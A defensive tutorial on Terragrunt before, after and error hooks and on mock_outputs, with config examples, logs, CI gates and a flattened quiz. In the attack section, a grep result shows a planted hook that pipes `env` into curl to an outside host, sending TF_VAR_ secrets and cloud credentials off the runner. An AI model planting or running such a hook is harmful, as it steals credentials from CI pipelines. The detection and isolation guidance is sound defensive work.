Hooks & mocks
Before/after actions and plan-time mocks.
A commercial kitchen has two moments that matter almost as much as the cooking: the checklist someone runs before service opens, and the clean-down after the last plate goes out. OpenTofu and Terraform (the tools that actually create your cloud resources) give you the cooking and nothing else. There is no slot that says run this the instant before I touch anything, and no slot that says run this if the whole thing catches fire. Terragrunt (a thin wrapper that orchestrates many Terraform directories at once) bolts three such slots onto every OpenTofu or Terraform command it runs. It calls them hooks.
Mocks solve the opposite problem. A film crew with a stunt double can still shoot the scene when the lead actor is unavailable. A unit (one directory holding one terragrunt.hcl, managing one piece of infrastructure) that reads a value from a neighbour nobody has built yet cannot plan at all, because that neighbour has produced no outputs to read. A mock is the stand-in that lets the shot get filmed anyway. Both features are small. Both turn up in almost every real repository. Both deserve a defender's attention, because one of them runs arbitrary commands while holding your cloud credentials, and the other quietly swaps real infrastructure identifiers for fiction.
The Three Slots Around Every Run
Hooks live inside the terraform block of a unit's config, and each one carries a label you choose. A before_hook runs before Terragrunt calls OpenTofu. An after_hook runs once that call returns. An error_hook runs only when something failed and the failure text matches a pattern you supply. Every hook declares commands, the list of subcommands it applies to, and execute. That second one trips people up. execute is an argv list (the program name first, then each argument as its own separate string), not a line of shell. So execute = ["echo", "hello world"] runs echo with exactly one argument, space and all. Want a pipe, a wildcard, or &&? You spell out ["bash", "-c", "..."] yourself, which means you have deliberately handed a shell to whoever edits that line.
include "root" {path = find_in_parent_folders("root.hcl")}terraform {source = "git::ssh://[email protected]/acme/tf-modules.git//app?ref=v1.9.3"# Prove which identity is about to touch prod, and write it down.# A non-zero exit here stops the run before OpenTofu ever starts.before_hook "identity_guard" {commands = ["plan", "apply", "destroy"]execute = ["/usr/local/bin/tg-identity-guard"]}# Native tflint integration, triggered because execute[0] is exactly "tflint".before_hook "lint" {commands = ["plan", "apply"]execute = ["tflint", "--minimum-failure-severity=error"]}# Runs whether the apply succeeded or blew up.after_hook "audit_trail" {commands = ["apply", "destroy"]execute = ["/usr/local/bin/tg-audit-log"]run_on_error = true}# Reacts to one specific failure, not to everything.error_hook "state_lock" {commands = ["plan", "apply"]execute = ["/usr/local/bin/tg-page-oncall", "state-lock"]on_errors = [".*Error acquiring the state lock.*"]}}
Hooks fire in the order you wrote them. A failing before_hook short-circuits the whole run: Terragrunt never calls OpenTofu, and any after_hook without run_on_error = true is skipped. That single property is what turns a hook into a guardrail rather than decoration. Hook exit codes also feed the exit code of terragrunt itself, so an after_hook that returns 1 fails the command even when the apply underneath it succeeded. Two smaller knobs are worth knowing. suppress_stdout = true keeps a chatty hook out of your logs when a downstream script is parsing them, and if skips a hook whose expression comes out false.
Two behaviours in that block catch people out. First, error hooks are processed after both the before hooks and the after hooks, not instead of them, and the on_errors entries are regular expressions (patterns matched against text) tested against the failure message. For a failed OpenTofu process that message carries what the command printed, which is why .*Error acquiring the state lock.* matches. Second, if the first element of execute is exactly the word tflint, Terragrunt stops treating it as a plain program. It switches to a built-in integration with tflint (a linter that checks Terraform code for mistakes the providers will not catch), runs tflint init for you, passes your inputs in as variables, and fails the run outright if it cannot find a .tflint.hcl file in the unit folder or one of its parents. Write an absolute path like /usr/local/bin/tflint when you want the plain behaviour back.
#!/usr/bin/env bashset -euo pipefail# Terragrunt exports these for every hook it runs.: "${TG_CTX_COMMAND:?}" "${TG_CTX_HOOK_NAME:?}"# ARN = Amazon Resource Name, the unique string naming an AWS identity.arn="$(aws sts get-caller-identity --query Arn --output text)"# Only the apply role may mutate prod. Anything else stops the run here,# before OpenTofu is invoked at all.case "$TG_CTX_COMMAND" inapply|destroy)case "$arn" in*:assumed-role/tg-apply/*) ;;*) echo "refusing $TG_CTX_COMMAND as $arn" >&2; exit 1 ;;esac;;esac# Note what $PWD turns out to be. That surprises everyone once.printf '{"ts":"%s","cmd":"%s","hook":"%s","arn":"%s","cwd":"%s"}\n' \"$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$TG_CTX_COMMAND" "$TG_CTX_HOOK_NAME" \"$arn" "$PWD" >> /var/log/terragrunt-audit.jsonl
cd /home/deploy/infra-live/prodterragrunt run --all -- plan -input=false
15:41:04.882 STDOUT [network/vpc] tofu: Plan: 9 to add, 0 to change, 0 to destroy.15:41:05.402 WARN [app] Config /home/deploy/infra-live/prod/network/vpc/terragrunt.hcl is a dependency of /home/deploy/infra-live/prod/app/terragrunt.hcl that has no outputs, but mock outputs provided and returning those in dependency output.15:41:11.998 INFO [app] Executing hook: identity_guard15:41:13.226 INFO [app] Executing hook: lint15:41:21.775 STDOUT [app] tofu: Plan: 6 to add, 0 to change, 0 to destroy.
Where A Hook Actually Stands
A hook does not run where you think it runs. It does not stand in the folder holding your terragrunt.hcl. It stands in the directory where OpenTofu would run, and whenever your terraform block sets a source, that is the private copy Terragrunt made for itself under .terragrunt-cache. Relative paths inside your script resolve against that copy, which is exactly why ./scripts/notify.sh so reliably turns into No such file or directory. Two hook commands are exceptions, because at the moment they fire the cache copy does not exist yet: terragrunt-read-config and init-from-module both run in the Terragrunt config directory instead. You can override any of this with working_dir. The guard script logged its own $PWD, so read the line back and see where it really stood.
sudo tail -n 1 /var/log/terragrunt-audit.jsonl | jq .
{"ts": "2026-07-21T15:41:12Z","cmd": "plan","hook": "identity_guard","arn": "arn:aws:sts::210987654321:assumed-role/tg-plan-ro/gha-4821","cwd": "/home/deploy/infra-live/prod/app/.terragrunt-cache/HXPuHZ2mQ1cLZ8mFEC3Fx7oQ-Yc/ZTLmS9d0uHzFq4rV5mCbGnR8Kk4/app"}
Terragrunt hands every hook three environment variables: TG_CTX_TF_PATH (the full path to the tofu or terraform binary it is about to run), TG_CTX_COMMAND (the subcommand in play) and TG_CTX_HOOK_NAME (the hook's own label). Turn on the hook-context-env experiment and you also get TG_CTX_HOOK_TYPE, TG_CTX_SOURCE and TG_CTX_TERRAGRUNT_DIR. There is a fourth thing sitting in that environment that matters more than all of them put together. Every value in the unit's inputs block is exported as TF_VAR_<name>, because that is how Terragrunt passes inputs down to Terraform in the first place. If one of those inputs is a database password pulled from a secrets manager, the hook reads it in plain text without even trying.
A Hook Is Someone Else's Code With Your Credentials
Here is the attack, end to end. Someone opens a pull request against your infrastructure repository. The Terraform changes look dull, a tag here, an instance size there. Buried in the same diff is a new after_hook bound to terragrunt-read-config, and that command name is the whole trick. It is not a Terraform subcommand. It is the internal step Terragrunt runs the moment it finishes parsing a unit's config, so a hook attached to it fires on essentially any Terragrunt command that loads that file, planning included, whether or not a single resource is ever touched. Your continuous integration job (the automated pipeline that checks each pull request) then does exactly what you told it to do and runs terragrunt run --all -- plan with a role that can read every state file you own. The hook goes first. By the time a human opens the plan output, the whole environment, TF_VAR_ secrets and cloud session credentials included, has been posted to a host whose name reads like a metrics endpoint.
cd /home/deploy/infra-livegrep -rn --include='*.hcl' -A2 -E '^[[:space:]]*(before|after|error)_hook "' .
./prod/app/terragrunt.hcl:10: before_hook "identity_guard" {./prod/app/terragrunt.hcl-11- commands = ["plan", "apply", "destroy"]./prod/app/terragrunt.hcl-12- execute = ["/usr/local/bin/tg-identity-guard"]--./prod/app/terragrunt.hcl:16: before_hook "lint" {./prod/app/terragrunt.hcl-17- commands = ["plan", "apply"]./prod/app/terragrunt.hcl-18- execute = ["tflint", "--minimum-failure-severity=error"]--./prod/app/terragrunt.hcl:22: after_hook "audit_trail" {./prod/app/terragrunt.hcl-23- commands = ["apply", "destroy"]./prod/app/terragrunt.hcl-24- execute = ["/usr/local/bin/tg-audit-log"]--./prod/app/terragrunt.hcl:29: error_hook "state_lock" {./prod/app/terragrunt.hcl-30- commands = ["plan", "apply"]./prod/app/terragrunt.hcl-31- execute = ["/usr/local/bin/tg-page-oncall", "state-lock"]--./prod/queue/terragrunt.hcl:7: after_hook "ship_build_metrics" {./prod/queue/terragrunt.hcl-8- commands = ["terragrunt-read-config"]./prod/queue/terragrunt.hcl-9- execute = ["bash", "-c", "env | curl -sm5 --data-binary @- https://metrics.acme-cdn.io/v1"]
The last block in that output is the payload, and it took three lines of HCL (HashiCorp Configuration Language, the syntax Terragrunt configs are written in) to plant. Run that grep in continuous integration on every pull request and alert on any diff that touches a hook block. Read execute lines the way you read curl | sh in a Dockerfile. Around the review, give the plan job a read-only role that is genuinely separate from the apply role, restrict outbound network access from the runner so a hook has nowhere to send anything, and keep the runner disposable so whatever a hook leaves behind dies with the job.
Recent Terragrunt adds one more lever. --no-hooks skips every before_hook, after_hook and error_hook for a run. It sits behind an experiment, so you opt in twice: pass --no-hooks without enabling optional-hooks and Terragrunt returns an error rather than quietly ignoring you. The environment variable form is TG_NO_HOOKS. Compare the run below with the one further up. The hook lines are gone. The plan still happens.
TG_EXPERIMENT=optional-hooks terragrunt run --all --no-hooks -- plan -input=false
15:52:39.108 STDOUT [network/vpc] tofu: Plan: 9 to add, 0 to change, 0 to destroy.15:52:40.004 WARN [app] Config /home/deploy/infra-live/prod/network/vpc/terragrunt.hcl is a dependency of /home/deploy/infra-live/prod/app/terragrunt.hcl that has no outputs, but mock outputs provided and returning those in dependency output.15:52:49.331 STDOUT [app] tofu: Plan: 6 to add, 0 to change, 0 to destroy.
before_hook fires before OpenTofu is invoked, and an after_hook bound to terragrunt-read-config fires on any Terragrunt command that loads the unit's config, planning included. The hook inherits the runner's cloud session and every inputs value as a TF_VAR_ environment variable. So a pull request that adds a few lines of config executes code on your runner the instant CI plans it, with whatever credentials that job holds, before any human reads the diff. --no-hooks narrows the window without closing it: the module source you fetch still runs providers, and a provider or an external data source can reach the network on its own. Isolating the plan runner is the control that actually holds.Mocks: A Stand-In So A Cold Plan Can Finish
Your app unit reads dependency.vpc.outputs.vpc_id. On a brand new environment the VPC (virtual private cloud, the private network your resources sit inside) has never been applied, so its state file (the record Terraform keeps of everything it built) holds no outputs whatsoever. Terragrunt cannot invent the value and will not guess. It stops and tells you what is missing.
cd /home/deploy/infra-live/prod/appterragrunt run -- plan -input=false
16:02:44.118 ERROR [app] /home/deploy/infra-live/prod/network/vpc/terragrunt.hcl is a dependency of /home/deploy/infra-live/prod/app/terragrunt.hcl but detected no outputs. Either the target module has not been applied yet, or the module has no outputs. If this is expected, set the skip_outputs flag to true on the dependency block.16:02:44.121 ERROR [app] Unable to determine underlying exit code, so Terragrunt will exit with error code 1
mock_outputs breaks the deadlock with placeholder values that Terragrunt uses only when the real ones are missing. The shape has to match what the module expects, same keys and same types, because your module genuinely receives these values and Terraform type-checks them during the plan. A string where a list belongs fails as loudly as no value at all. Prefer fake identifiers that look structurally real, like vpc-00000000000000000, over empty strings. Downstream modules sometimes slice or parse an id, and an empty one blows up somewhere far less obvious than the line that caused it.
dependency "vpc" {config_path = "../network/vpc"# Same keys, same types as the real outputs. Terraform type-checks these.mock_outputs = {vpc_id = "vpc-00000000000000000"private_subnet_ids = ["subnet-0000000000000000a", "subnet-0000000000000000b"]security_group_id = "sg-00000000000000000"}# Placeholders may only reach a dry run. Leave this line out and they are# allowed for every command, apply and destroy included.mock_outputs_allowed_terraform_commands = ["plan", "validate"]# State exists but is missing a newly added output? Fall back to the mock# for that one key and keep every real value from state.mock_outputs_merge_strategy_with_state = "shallow"}inputs = {vpc_id = dependency.vpc.outputs.vpc_idsubnet_ids = dependency.vpc.outputs.private_subnet_idssg_id = dependency.vpc.outputs.security_group_id}
One more behaviour will bite you months later. The default merge strategy is no_merge: the moment the dependency has any state at all, Terragrunt reads only what state contains and ignores mock_outputs completely. Add a brand new output to an already-applied module, plan a consumer, and you get Unsupported attribute for the exact key you wrote a mock for. Setting mock_outputs_merge_strategy_with_state = "shallow" (or deep_map_only, which merges one level deeper into maps) makes missing keys fall back to the mock. That merge is itself filtered by mock_outputs_allowed_terraform_commands, which is the behaviour you want: with the list pinned to plan and validate, the fallback carries you through the plan and correctly refuses during the apply that follows. Apply the producing unit first, then re-plan the consumer against real state.
Keeping A Mock Out Of A Real Apply
A placeholder that survives into a real apply builds actual infrastructure wired to vpc-000...0, or points a destroy at something chosen by fiction. Terragrunt's default here leans the wrong way for production. When mock_outputs_allowed_terraform_commands is absent, or set to an empty list, mocks are permitted for every command, apply and destroy included. Pinning it to ["plan", "validate"] is the highest-value line in this lesson. Verify it the way you would verify a firewall rule, by trying the thing that is supposed to fail now.
# the VPC still has no outputs; try to apply the consumer anywayterragrunt run -- apply -input=false > /tmp/apply.log 2>&1echo "exit=$?"head -n 1 /tmp/apply.log
exit=116:11:07.552 ERROR [app] /home/deploy/infra-live/prod/network/vpc/terragrunt.hcl is a dependency of /home/deploy/infra-live/prod/app/terragrunt.hcl but detected no outputs. Either the target module has not been applied yet, or the module has no outputs. If this is expected, set the skip_outputs flag to true on the dependency block.
Terragrunt announces every substitution at WARN level, naming both the dependency config and the consumer config. That line is your detection. Capture the plan log in the pipeline and fail the job when it appears, and a plan built on placeholders can never become the plan a human approves and promotes.
# CI gate: nothing gets promoted on a plan built from placeholdersterragrunt run --all -- plan -input=false > /tmp/plan.log 2>&1grep 'but mock outputs provided' /tmp/plan.log && exit 1
16:44:02.771 WARN [app] Config /home/deploy/infra-live/prod/network/vpc/terragrunt.hcl is a dependency of /home/deploy/infra-live/prod/app/terragrunt.hcl that has no outputs, but mock outputs provided and returning those in dependency output.
mock_outputs with vpc_id = "vpc-00000000000000000" and never adds mock_outputs_allowed_terraform_commands. Which runs can consume that placeholder id?vpc-00000000000000000 ends up wired into real infrastructure or pointed at by a destroy.identity_guard audit line records cwd as a path under .terragrunt-cache, not /home/deploy/infra-live/prod/app. A teammate then adds a hook with execute = ["./scripts/notify.sh"] and hits No such file or directory. What explains it?working_dir. Only terragrunt-read-config and init-from-module fire early enough to still stand in the config folder.tg-identity-guard program in this lesson is itself a bash script and runs without any wrapper.commands lists the subcommands a hook attaches to, such as plan and apply. execute is an argv list with the program name first, so the script belongs exactly where it is.grep -rn --include='*.hcl' sweep of infra-live turns up prod/queue/terragrunt.hcl with an after_hook on commands = ["terragrunt-read-config"] that pipes env into curl. CI runs terragrunt run --all -- plan on every pull request. What actually happens?external data source can reach the network on its own, so a disposable runner with outbound traffic restricted is the control that holds.inputs value exported as a TF_VAR_ variable.One concrete step for the repository you actually work in. Add *.hcl to CODEOWNERS (the file GitHub and GitLab read to require named reviewers on specific paths) with the team that owns the CI runner, and spell out two checks in the pull request template: every execute list, and every dependency block missing mock_outputs_allowed_terraform_commands. The execute list is the only place in a Terragrunt config where a contributor hands your runner an arbitrary command, and the plan job is where that command goes off.
Try this
Run terragrunt run --all -- plan -input=false on a scratch host or disposable cluster and read the output against what this lesson described. Then change one input so it fails, and re-run: the error you get is the one you will meet in production.
Takeaway
The trap worth remembering here: a plan is not a read-only run. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.